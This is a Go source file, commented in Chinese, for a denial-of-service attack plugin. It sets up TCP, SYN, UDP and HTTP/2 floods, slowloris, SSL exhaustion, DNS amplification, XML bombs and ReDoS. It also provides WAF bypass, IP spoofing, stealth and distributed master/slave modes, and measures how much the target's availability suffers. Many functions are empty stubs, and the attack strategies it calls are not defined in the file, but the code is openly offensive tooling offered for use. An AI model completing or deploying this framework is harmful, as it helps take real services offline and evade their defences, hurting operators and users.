package dos

import (
	"context"
	"fmt"
	"ip-parser/internal/logger"
	"sync"
	"time"
)

// PluginParamInfo 插件参数信息
type PluginParamInfo struct {
	Name        string // 参数名称
	Description string // 参数描述
	Required    bool   // 是否必需
	Default     string // 默认值（若有）
}

// DOSPlugin 拒绝服务攻击插件
type DOSPlugin struct {
	logger *logger.Logger
	// 攻击统计数据
	successCount int64
	failCount    int64
	// 控制标志
	isRunning bool
	// 攻击控制通道
	stopChan chan struct{}
	// 智能攻击参数
	targetInfo       *TargetInfo
	attackStrategies map[string]AttackStrategy
	// 分布式控制
	nodeID        string
	nodeManager   *NodeManager
	masterMode    bool
	slaveNodes    []string
	distributedOn bool
	// 隐蔽性控制
	obfuscationEnabled bool
	stealthMode        bool
	// 上下文对象
	ctx    context.Context
	cancel context.CancelFunc
	// WAF绕过引擎
	wafBypassEngine *WAFBypassEngine
	// 攻击效果评估系统
	evaluationSystem *AttackEvaluationSystem
}

// TargetInfo 目标信息结构体
type TargetInfo struct {
	host            string
	port            string
	url             string
	webServer       string
	operatingSystem string
	protectionType  string
	vulnerabilities []string
	responseStats   *ResponseStats
	wafInfo         *WAFInfo
	networkLatency  float64
	bandwidthLimit  int64
	serverLoad      float64
}

// WAFInfo WAF信息结构体
type WAFInfo struct {
	detected      bool
	type_         string
	rules         map[string]bool
	bypassMethods []string
	fingerprint   string
}

// ResponseStats 响应统计信息
type ResponseStats struct {
	avgResponseTime   float64
	minResponseTime   float64
	maxResponseTime   float64
	statusCodes       map[int]int
	bandwidthUsage    int64
	connectionRefused int64
	mutex             sync.RWMutex
}

// AttackStrategy 攻击策略接口
type AttackStrategy interface {
	Execute(ctx context.Context, target *TargetInfo, args map[string]interface{}) error
	GetName() string
	GetEffectiveness(target *TargetInfo) float64
	GetDescription() string
	GetResourceConsumption() float64
	IsStealthCompatible() bool
	SupportsWAFBypass() bool
	Stop()
}

// NodeManager 分布式节点管理器
type NodeManager struct {
	masterNode     string
	slaveNodes     map[string]*SlaveNodeInfo
	commandChannel chan NodeCommand
	mutex          sync.RWMutex
}

// SlaveNodeInfo 从节点信息
type SlaveNodeInfo struct {
	id             string
	address        string
	status         string
	capabilities   []string
	attackCapacity float64
	lastSeen       time.Time
}

// NodeCommand 节点命令结构
type NodeCommand struct {
	command    string
	targetInfo *TargetInfo
	args       map[string]interface{}
	nodeID     string
}

// WAFBypassEngine WAF绕过引擎
type WAFBypassEngine struct {
	bypassTechniques map[string]WAFBypassTechnique
	detectedWAFs     map[string]bool
	logger           *logger.Logger
}

// WAFBypassTechnique WAF绕过技术接口
type WAFBypassTechnique interface {
	Apply(request *AttackRequest) *AttackRequest
	GetName() string
	IsEffectiveAgainst(wafType string) bool
}

// AttackRequest 攻击请求结构
type AttackRequest struct {
	method      string
	url         string
	headers     map[string]string
	body        []byte
	cookies     map[string]string
	rawRequest  []byte
	useHTTP2    bool
	bypassFlags map[string]bool
}

// AttackEvaluationSystem 攻击效果评估系统
type AttackEvaluationSystem struct {
	preAttackResponseTime  float64
	postAttackResponseTime float64
	preAttackSuccessRate   float64
	postAttackSuccessRate  float64
	availabilityImpact     float64
	performanceImpact      float64
	startTime              time.Time
	endTime                time.Time
	evaluationSamples      int
	responseTimeHistory    []float64
	statusCodeHistory      map[int]int
	mutex                  sync.RWMutex
	reportGenerator        *ReportGenerator
}

// ReportGenerator 报告生成器
type ReportGenerator struct {
	evaluationSystem *AttackEvaluationSystem
	outputFormats    []string
	detailLevel      string
}

// NewDOSPlugin 创建新的拒绝服务攻击插件
func NewDOSPlugin() *DOSPlugin {
	ctx, cancel := context.WithCancel(context.Background())

	// 创建WAF绕过引擎
	wafEngine := &WAFBypassEngine{
		bypassTechniques: make(map[string]WAFBypassTechnique),
		detectedWAFs:     make(map[string]bool),
		logger:           logger.NewLogger(),
	}

	// 初始化WAF绕过技术
	initWAFBypassTechniques(wafEngine)

	// 创建攻击评估系统
	evaluationSystem := &AttackEvaluationSystem{
		statusCodeHistory: make(map[int]int),
		reportGenerator: &ReportGenerator{
			outputFormats: []string{"txt", "json", "html"},
			detailLevel:   "detailed",
		},
	}

	// 创建节点管理器
	nodeManager := &NodeManager{
		masterNode:     fmt.Sprintf("master-%d", time.Now().UnixNano()),
		slaveNodes:     make(map[string]*SlaveNodeInfo),
		commandChannel: make(chan NodeCommand, 100),
	}

	return &DOSPlugin{
		logger:   logger.NewLogger(),
		stopChan: make(chan struct{}),
		targetInfo: &TargetInfo{
			responseStats: &ResponseStats{
				statusCodes: make(map[int]int),
			},
			wafInfo: &WAFInfo{
				rules: make(map[string]bool),
			},
		},
		attackStrategies: make(map[string]AttackStrategy),
		nodeID:           generateNodeID(),
		nodeManager:      nodeManager,
		masterMode:       true,
		ctx:              ctx,
		cancel:           cancel,
		wafBypassEngine:  wafEngine,
		evaluationSystem: evaluationSystem,
	}
}

// 初始化WAF绕过技术
func initWAFBypassTechniques(engine *WAFBypassEngine) {
	// 注册各种WAF绕过技术
	engine.bypassTechniques["header_obfuscation"] = NewHeaderObfuscationTechnique()
	engine.bypassTechniques["payload_splitting"] = NewPayloadSplittingTechnique()
	engine.bypassTechniques["encoding_variation"] = NewEncodingVariationTechnique()
	engine.bypassTechniques["request_timing"] = NewRequestTimingTechnique()
	engine.bypassTechniques["protocol_exploit"] = NewProtocolExploitTechnique()
}

// 生成唯一节点ID
func generateNodeID() string {
	return fmt.Sprintf("node-%d", time.Now().UnixNano())
}

// GetDescription 获取插件描述
func (p *DOSPlugin) GetDescription() string {
	return "高级拒绝服务攻击插件，支持多种攻击类型、智能攻击策略、WAF绕过和攻击效果评估"
}

// GetRequiredParams 获取插件所需参数
func (p *DOSPlugin) GetRequiredParams() []PluginParamInfo {
	return []PluginParamInfo{
		{
			Name:        "type",
			Description: "攻击类型: tcp, http, syn, udp, slowloris, http2, connection_flood, ssl_exhaust, dns_amp, xml_bomb, regexdos, smart, evaluate, report, export_report",
			Required:    true,
			Default:     "",
		},
		{
			Name:        "host",
			Description: "目标主机地址 (用于大多数攻击类型)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "port",
			Description: "目标端口 (用于大多数攻击类型)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "url",
			Description: "目标URL (用于http/http2/slowloris攻击)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "method",
			Description: "HTTP方法 (用于http/http2攻击): GET, POST, PUT等",
			Required:    false,
			Default:     "GET",
		},
		{
			Name:        "concurrency",
			Description: "并发连接数",
			Required:    false,
			Default:     "100",
		},
		{
			Name:        "concurrency_growth",
			Description: "并发数每秒增长率",
			Required:    false,
			Default:     "0",
		},
		{
			Name:        "duration",
			Description: "攻击持续时间，单位秒",
			Required:    false,
			Default:     "60",
		},
		{
			Name:        "packet_size",
			Description: "数据包大小，单位字节 (用于tcp/udp攻击)",
			Required:    false,
			Default:     "1024",
		},
		{
			Name:        "obfuscation",
			Description: "是否启用流量混淆 (true/false)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "proxy_list",
			Description: "代理服务器列表文件路径，每行一个代理",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "ssl_version",
			Description: "SSL/TLS版本 (用于ssl攻击): tls1.0, tls1.1, tls1.2, tls1.3",
			Required:    false,
			Default:     "tls1.2",
		},
		{
			Name:        "header_file",
			Description: "自定义HTTP头文件路径，JSON格式",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "payload_file",
			Description: "POST数据载荷文件路径",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "dns_server",
			Description: "用于DNS放大攻击的DNS服务器",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "smart_mode",
			Description: "智能攻击模式: auto, adaptive, stealth",
			Required:    false,
			Default:     "auto",
		},
		{
			Name:        "target_scan",
			Description: "是否先扫描目标获取信息 (true/false)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "bypass_waf",
			Description: "是否启用WAF绕过技术 (true/false)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "ip_spoofing",
			Description: "是否启用IP伪造 (true/false，需要root权限)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "auto_evaluate",
			Description: "是否自动评估攻击效果 (true/false)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "auto_export_report",
			Description: "是否自动导出攻击报告 (true/false)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "output_dir",
			Description: "攻击报告导出目录",
			Required:    false,
			Default:     "./reports",
		},
		{
			Name:        "stealth_mode",
			Description: "隐蔽攻击模式 (true/false)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "distributed_mode",
			Description: "分布式攻击模式 (true/false)",
			Required:    false,
			Default:     "false",
		},
		{
			Name:        "slave_nodes",
			Description: "从节点列表，逗号分隔的IP地址或主机名",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "attack_pattern",
			Description: "攻击模式: constant, increasing, pulsing, random",
			Required:    false,
			Default:     "constant",
		},
		{
			Name:        "report_format",
			Description: "报告格式: txt, json, html, all",
			Required:    false,
			Default:     "txt",
		},
	}
}

// Execute 执行插件功能
func (p *DOSPlugin) Execute(args map[string]interface{}) error {
	// 解析参数
	attackType, ok := args["type"].(string)
	if !ok {
		return fmt.Errorf("必须指定攻击类型")
	}

	// 初始化攻击策略
	p.initializeAttackStrategies()

	// 根据不同的攻击类型执行相应的操作
	switch attackType {
	case "tcp", "http", "syn", "udp", "slowloris", "http2", "connection_flood", "ssl_exhaust":
		return p.executeDirectAttack(attackType, args)
	case "dns_amp", "xml_bomb", "regexdos":
		return p.executeAmplificationAttack(attackType, args)
	case "smart":
		return p.executeSmartAttack(args)
	case "evaluate":
		return p.evaluateAttackEffectiveness(args)
	case "report":
		return p.generateAttackReport(args)
	case "export_report":
		return p.exportAttackReport(args)
	default:
		return fmt.Errorf("不支持的攻击类型: %s", attackType)
	}
}

// 初始化攻击策略
func (p *DOSPlugin) initializeAttackStrategies() {
	// 注册各种攻击策略
	p.attackStrategies["tcp"] = NewTCPFloodStrategy()
	p.attackStrategies["http"] = NewHTTPFloodStrategy()
	p.attackStrategies["syn"] = NewSYNFloodStrategy()
	p.attackStrategies["udp"] = NewUDPFloodStrategy()
	p.attackStrategies["slowloris"] = NewSlowlorisStrategy()
	p.attackStrategies["http2"] = NewHTTP2FloodStrategy()
	p.attackStrategies["connection_flood"] = NewConnectionFloodStrategy()
	p.attackStrategies["ssl_exhaust"] = NewSSLExhaustionStrategy()
	p.attackStrategies["dns_amp"] = NewDNSAmplificationStrategy()
	p.attackStrategies["xml_bomb"] = NewXMLBombStrategy()
	p.attackStrategies["regexdos"] = NewRegexDOSStrategy()
}

// 执行直接攻击
func (p *DOSPlugin) executeDirectAttack(attackType string, args map[string]interface{}) error {
	// 获取目标信息
	if err := p.parseTargetInfo(args); err != nil {
		return err
	}

	// 检查是否需要先扫描目标
	if targetScan, ok := args["target_scan"].(string); ok && targetScan == "true" {
		if err := p.scanTarget(); err != nil {
			p.logger.Warning("目标扫描失败，但将继续攻击: %v", err)
		}
	}

	// 检查是否启用WAF绕过
	if bypassWAF, ok := args["bypass_waf"].(string); ok && bypassWAF == "true" {
		p.detectAndConfigureWAFBypass()
	}

	// 检查是否启用隐蔽模式
	if stealthMode, ok := args["stealth_mode"].(string); ok && stealthMode == "true" {
		p.stealthMode = true
	}

	// 检查是否启用分布式攻击
	if distributedMode, ok := args["distributed_mode"].(string); ok && distributedMode == "true" {
		p.setupDistributedAttack(args)
	}

	// 获取攻击策略
	strategy, ok := p.attackStrategies[attackType]
	if !ok {
		return fmt.Errorf("未找到攻击策略: %s", attackType)
	}

	// 设置攻击开始时间
	p.evaluationSystem.startTime = time.Now()

	// 检查是否需要自动评估
	autoEvaluate := false
	if autoEvalStr, ok := args["auto_evaluate"].(string); ok && autoEvalStr == "true" {
		autoEvaluate = true
		// 在攻击前收集基准数据
		p.collectBaselineMetrics()
	}

	// 创建攻击上下文
	ctx, cancel := context.WithCancel(p.ctx)
	defer cancel()

	// 设置正在运行标志
	p.isRunning = true
	defer func() { p.isRunning = false }()

	// 执行攻击
	p.logger.Info("开始执行 %s 攻击", strategy.GetName())

	// 如果是分布式模式，在所有节点上执行
	if p.distributedOn {
		return p.executeDistributedAttack(ctx, attackType, args)
	}

	// 否则在本地执行
	err := strategy.Execute(ctx, p.targetInfo, args)

	// 设置攻击结束时间
	p.evaluationSystem.endTime = time.Now()

	// 如果需要自动评估，收集攻击后数据并生成报告
	if autoEvaluate {
		p.collectPostAttackMetrics()
		p.evaluateAttackEffectiveness(args)

		// 检查是否需要自动导出报告
		if autoExportStr, ok := args["auto_export_report"].(string); ok && autoExportStr == "true" {
			p.exportAttackReport(args)
		}
	}

	return err
}

// 执行放大攻击
func (p *DOSPlugin) executeAmplificationAttack(attackType string, args map[string]interface{}) error {
	// 实现放大攻击的逻辑
	// ...
	return nil
}

// 执行智能攻击
func (p *DOSPlugin) executeSmartAttack(args map[string]interface{}) error {
	// 获取目标信息
	if err := p.parseTargetInfo(args); err != nil {
		return err
	}

	// 扫描目标以获取详细信息
	if err := p.scanTarget(); err != nil {
		p.logger.Warning("目标扫描失败，但将继续智能攻击: %v", err)
	}

	// 获取智能攻击模式
	smartMode := "auto"
	if mode, ok := args["smart_mode"].(string); ok {
		smartMode = mode
	}

	// 根据不同的智能攻击模式执行相应的操作
	switch smartMode {
	case "auto":
		return p.executeAutoSmartAttack(args)
	case "adaptive":
		return p.executeAdaptiveSmartAttack(args)
	case "stealth":
		p.stealthMode = true
		return p.executeStealthSmartAttack(args)
	default:
		return fmt.Errorf("不支持的智能攻击模式: %s", smartMode)
	}
}

// 执行自动智能攻击
func (p *DOSPlugin) executeAutoSmartAttack(args map[string]interface{}) error {
	// 根据目标信息自动选择最有效的攻击类型
	bestStrategy := p.selectBestAttackStrategy()

	p.logger.Info("智能攻击自动选择了 %s 攻击策略", bestStrategy.GetName())

	// 执行选定的攻击策略
	ctx, cancel := context.WithCancel(p.ctx)
	defer cancel()

	p.isRunning = true
	defer func() { p.isRunning = false }()

	return bestStrategy.Execute(ctx, p.targetInfo, args)
}

// 执行自适应智能攻击
func (p *DOSPlugin) executeAdaptiveSmartAttack(args map[string]interface{}) error {
	// 实现自适应攻击逻辑，尝试多种攻击并选择最有效的
	// ...
	return nil
}

// 执行隐蔽智能攻击
func (p *DOSPlugin) executeStealthSmartAttack(args map[string]interface{}) error {
	// 实现隐蔽攻击逻辑，低强度长时间攻击
	// ...
	return nil
}

// 选择最佳攻击策略
func (p *DOSPlugin) selectBestAttackStrategy() AttackStrategy {
	var bestStrategy AttackStrategy
	var highestEffectiveness float64

	// 如果启用了隐蔽模式，只考虑兼容隐蔽模式的攻击
	for _, strategy := range p.attackStrategies {
		if p.stealthMode && !strategy.IsStealthCompatible() {
			continue
		}

		effectiveness := strategy.GetEffectiveness(p.targetInfo)
		if effectiveness > highestEffectiveness {
			highestEffectiveness = effectiveness
			bestStrategy = strategy
		}
	}

	return bestStrategy
}

// 解析目标信息
func (p *DOSPlugin) parseTargetInfo(args map[string]interface{}) error {
	// 解析主机地址
	if host, ok := args["host"].(string); ok && host != "" {
		p.targetInfo.host = host
	} else if url, ok := args["url"].(string); ok && url != "" {
		// 从URL中提取主机
		// 简化实现，实际应该使用URL解析
		p.targetInfo.url = url
	} else {
		return fmt.Errorf("必须指定目标主机地址或URL")
	}

	// 解析端口
	if port, ok := args["port"].(string); ok && port != "" {
		p.targetInfo.port = port
	}

	return nil
}

// 扫描目标以获取详细信息
func (p *DOSPlugin) scanTarget() error {
	p.logger.Info("正在扫描目标: %s", p.targetInfo.host)

	// 实现目标扫描逻辑
	// 1. 检测操作系统
	// 2. 检测Web服务器类型
	// 3. 检测WAF保护
	// 4. 测量网络延迟
	// 5. 估计带宽限制
	// 6. 检测可能的漏洞

	return nil
}

// 检测并配置WAF绕过
func (p *DOSPlugin) detectAndConfigureWAFBypass() {
	p.logger.Info("检测并配置WAF绕过策略")

	// 实现WAF检测和绕过配置逻辑
	// ...
}

// 设置分布式攻击
func (p *DOSPlugin) setupDistributedAttack(args map[string]interface{}) {
	p.distributedOn = true

	// 解析从节点列表
	if slaveNodesStr, ok := args["slave_nodes"].(string); ok && slaveNodesStr != "" {
		// 解析从节点列表并配置
		// ...
	}

	p.logger.Info("已配置分布式攻击模式，主节点ID: %s", p.nodeID)
}

// 执行分布式攻击
func (p *DOSPlugin) executeDistributedAttack(ctx context.Context, attackType string, args map[string]interface{}) error {
	p.logger.Info("在分布式模式下执行 %s 攻击", attackType)

	// 实现分布式攻击逻辑
	// ...

	return nil
}

// 收集基准指标
func (p *DOSPlugin) collectBaselineMetrics() {
	p.logger.Info("收集攻击前基准指标")

	// 实现基准指标收集逻辑
	// ...
}

// 收集攻击后指标
func (p *DOSPlugin) collectPostAttackMetrics() {
	p.logger.Info("收集攻击后指标")

	// 实现攻击后指标收集逻辑
	// ...
}

// 评估攻击效果
func (p *DOSPlugin) evaluateAttackEffectiveness(args map[string]interface{}) error {
	p.logger.Info("评估攻击效果")

	// 计算性能影响
	responseTimeDiff := p.evaluationSystem.postAttackResponseTime - p.evaluationSystem.preAttackResponseTime
	if p.evaluationSystem.preAttackResponseTime > 0 {
		p.evaluationSystem.performanceImpact = min(1.0, responseTimeDiff/p.evaluationSystem.preAttackResponseTime)
	}

	// 计算可用性影响
	successRateDiff := p.evaluationSystem.preAttackSuccessRate - p.evaluationSystem.postAttackSuccessRate
	p.evaluationSystem.availabilityImpact = min(1.0, successRateDiff/100.0)

	// 输出评估结果
	p.logger.Info("攻击效果评估完成:")
	p.logger.Info("- 性能影响: %.2f/1.00", p.evaluationSystem.performanceImpact)
	p.logger.Info("- 可用性影响: %.2f/1.00", p.evaluationSystem.availabilityImpact)
	p.logger.Info("- 综合影响: %.2f/1.00", (p.evaluationSystem.performanceImpact+p.evaluationSystem.availabilityImpact)/2)

	return nil
}

// 生成攻击报告
func (p *DOSPlugin) generateAttackReport(args map[string]interface{}) error {
	p.logger.Info("生成攻击报告")

	// 实现报告生成逻辑
	// ...

	return nil
}

// 导出攻击报告
func (p *DOSPlugin) exportAttackReport(args map[string]interface{}) error {
	// 获取输出目录
	outputDir := "./reports"
	if dir, ok := args["output_dir"].(string); ok && dir != "" {
		outputDir = dir
	}

	// 获取报告格式
	reportFormat := "txt"
	if format, ok := args["report_format"].(string); ok && format != "" {
		reportFormat = format
	}

	p.logger.Info("导出攻击报告到 %s 目录，格式: %s", outputDir, reportFormat)

	// 实现报告导出逻辑
	// ...

	return nil
}

// min 返回两个浮点数中的较小值
func min(a, b float64) float64 {
	if a < b {
		return a
	}
	return b
}
